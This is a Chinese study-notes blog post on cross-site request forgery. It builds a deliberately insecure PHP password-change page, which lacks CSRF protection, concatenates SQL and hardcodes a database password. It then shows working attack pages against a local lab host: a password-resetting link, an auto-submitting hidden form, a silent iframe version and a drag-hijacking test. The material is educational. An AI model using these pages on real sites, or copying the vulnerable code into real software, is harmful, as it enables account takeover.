web安全學習筆記(九)CSRF(Cross-Site Request Forgery) 跨站請求僞造

0.前言

CRSF是建立在會話之上的,聽起來非常像XSS跨站腳本攻擊,但是實際上攻擊方式完全不同。之前在寫XSS時,提到很多網站會使用cookie來保存用戶登錄的信息,例如昨天晚上我使用完CSDN後,關閉瀏覽器,關閉電腦,今天打開CSDN時,雖然沒有填寫賬戶和密碼,也會自動登陸。
那麼CRSF可以做到什麼呢?比如A登陸了網上銀行,正在準備進行一個操作,然而有攻擊者給他發送了一個鏈接,當A點擊這條URL後,自己賬戶的很多錢就被轉走給攻擊者了。這是由於,當登陸網站或者網上銀行時,瀏覽器已經和可信節點建立了經過認證的會話,那麼在會話沒有超時的時間內,任何操作都會被當作時合法的。

1.CSRF攻擊原理

在之前搭建的網站上,新建一個ChangePassword.php,用來幫助用戶修改賬戶名和密碼:

<?php
$cookie = $_COOKIE['username'];
if (!isset($_COOKIE['username']))
{
    echo 'Illegal login!<a href="login.php">please login</a>';
    exit();
}
?>
<!DOCTYPE html>
<html lang='zh'>
<head>
    <title>change password</title>
    <meta charset="UTF-8">
</head>
<body>
<form name="input" action="ChangePwd.php" method="get">
    密碼 :<br /><label>
        <input type="password" name="password">
    </label><br>
    確認密碼 :  <br /><label>
        <input type="password" name="password_confirm">
    </label> <br>
    <input type="submit" value="確認">
</form>
</body>
</html>

ChangePwd.php用來處理提交表單的事件:

<?php
$username = $_COOKIE['username'];
if (!isset($username))
{
    echo 'Illegal operation<a href="login.php">please login</a>';
    exit();
} else{
    $password = $_GET['password'];
    $password_confirm = $_GET['password_confirm'];
    if ($password != $password_confirm){
        echo 'Passwords entered twice are inconsistent<a href="ChangePassword.php">please retry</a>';
        exit();
    }
    $conn = new mysqli("localhost","phpadmin", "ppzz4869","PHP");
    if ($conn->connect_error){
        die("connection fail" . $conn->connect_error);
    }
    $sql = "select * from user where name='$username'";
    $res = $conn->query($sql);
    if ($res->num_rows > 0){
        $sql = "update user set psw='$password' where name='$username'";
        $conn->query($sql) or die("fail!");
        $conn->close();
        echo "Password reset complete";
    } else{
        echo 'Illegal operation<a href="login.php">please login</a>';
        exit();
    }
}

界面如下:
在這裏插入圖片描述
假設現在用戶a需要修改密碼,用戶輸入密碼以後,界面如下:
在這裏插入圖片描述
用戶A通過抓包或者觀察URL發現,當修改密碼時,向服務器發送了兩個參數,
password = a 和 password_confirm = a。那麼如果將這個鏈接發送給別人,就可以修改別人的密碼了。於是,用戶A將URL http://192.168.85.128/ChangePwd.php?password=aaa&password_confirm=aaa
發送給了用戶admin,並附上一些誘導點開的話。由於此網站有“保持登陸狀態”的設置,當用戶admin點擊了這條URL的時候,發現自己的密碼已經被修改了。
在這裏插入圖片描述
如果admin並沒有發現問題,關閉了網頁。結果下次登陸網站的時候,發現自己的賬戶密碼已經被修改了,僅僅是因爲點擊了一條URL!
在這裏插入圖片描述
而發送鏈接的用戶A,也可以輕鬆使用修改後的密碼進行登陸了。

2.CSRF攻擊場景(POST)

上面演示的方法是通過GET進行的CSRF攻擊,然而,POST方法並不會把參數顯示在URL中,是否還存在CSRF呢?
我們將之前修改密碼的頁面中get方法替換爲post方法,此時發現,修改密碼時,參數已經不會顯示在URL中了。
在這裏插入圖片描述
對於攻擊者,會查看發送的數據包,來確定在修改密碼時和服務器之間進行的交互。
在這裏插入圖片描述
分析發現,當點擊確認修改密碼時,通過POST傳了兩個參數,password和password_confirm。那麼攻擊者就可以製造一個這樣的頁面,並放在攻擊者自己的網站上http://192.168.85.129/dvwa/hackable/uploads/CRSF.html:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>post data</title>
</head>
<body>

<form id="myform" method="post" action="http://192.168.85.128/ChangePwd.php">
    <input type="hidden" name="password" value="aaa">
    <input type="hidden" name="password_confirm" value="aaa">
</form>

<script type="application/javascript">
    var myform = document.getElementById("myform");
    myform.submit();
</script>

</body>
</html>

上述代碼中,構建了一個表單,然後利用javascript自動提交表單。
當用戶點擊這個鏈接時,會發現自動跳轉到修改密碼的界面,完成CSRF攻擊:
在這裏插入圖片描述
所以對於CSRF來說,POST和GET請求是沒有區別的,只是POST請求多了一些代碼。

3.靜悄悄的CSRF

然而,這樣的跳轉顯然會被受攻擊者察覺,所以攻擊者完善代碼,靜悄悄地提交數據:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>post data</title>
</head>
<body>
<iframe frameborder="0" name="myifram" width="0px" height="0px"></iframe>
<form id="myform" method="post" target="myifram" action="http://192.168.85.128/ChangePwd.php">
    <input type="hidden" name="password" value="aaa">
    <input type="hidden" name="password_confirm" value="aaa">
</form>

<script type="application/javascript">
    var myform = document.getElementById("myform");
    myform.submit();
</script>

</body>
</html>

這一段代碼的改進爲, 將請求的URL在<ifram>中打開,然而ifram卻被隱藏了,所以網頁不會有任何變化
在這裏插入圖片描述
但是密碼卻已經被修改了
在這裏插入圖片描述

4.拖拽劫持

2010年BlackHat 大會中,提到了一種“瀏覽器拖拽事件”導致的一些安全問題。目前許多瀏覽器都實現了拖拽接口,可以把一個網頁中的圖片或者文字可以拖着到另外一個網頁中,而這種拖拽並不會受到同源策略的限制。因爲,攻擊者就可以誘使用戶,從一些看不見的iframe中拖拽出一些信息,從而竊取數據。
然而,在我的實際測試中,不知道是這一類問題已經被修復還是我的操作有問題,希望看到這篇文章的人可以幫我指正。
在我個人的測試中發現,目前瀏覽器的拖拽問題和瀏覽器有關,且幾乎屏蔽了一個頁面中,非同源的拖拽問題。
測試代碼如下:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script>
        function Init() {
            const source = document.getElementById("source");
            const target = document.getElementById("target");
            if (source.addEventListener){
                target.addEventListener("drop",DumpInfo);
            } else {
                target.attachEvent("ondrop", DumpInfo);
            }

        }

        function DumpInfo(event) {
            const info = document.getElementById("info");
            info.innerHTML += "<span style='color:#3355cc;font-size:13px'>" + event.dataTransfer.getData('Text') + "</span><br> ";
        }
    </script>
</head>
<body onload="Init()">
<div id="source">
    <iframe id="iframe_1" src="http://192.168.85.129/dvwa/">
    </iframe>
</div>
<div>
    <textarea id="target"></textarea>
</div>
<div id="info" style="position:absolute;background-color:#e0e0e0;font-weight:bold; top:600px;">
</div>
</body>
</html>

在上述代碼中,建立了一個iframe,在其中打開http://192.168.85.129/dvwa/。並建立一個testarea,監聽drop事件,如果有拖着的東西被放在了testarea中,就會在下面的info中顯示出來。
在這裏插入圖片描述
在chrome瀏覽器和IE瀏覽器中,無法進行拖拽操作,拖拽進入testarea後,沒有任何反應。
在這裏插入圖片描述
而火狐瀏覽器則是會把拖拽的信息直接用默認搜索引擎進行搜索
在這裏插入圖片描述
然後我又嘗試,將iframe中打開的同源網頁,修改test.html:

<div id="source">
    <iframe id="iframe_1" src="http://192.168.85.128">
    </iframe>
</div>

此時,無論ie,chrome或是火狐瀏覽器都可以進行拖拽操作了。
在這裏插入圖片描述
根據實驗現象的推論:目前瀏覽器的拖拽,對同源內容不做限制,但是對非同源內容做出來限制?
希望錯誤地方可以被指正。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章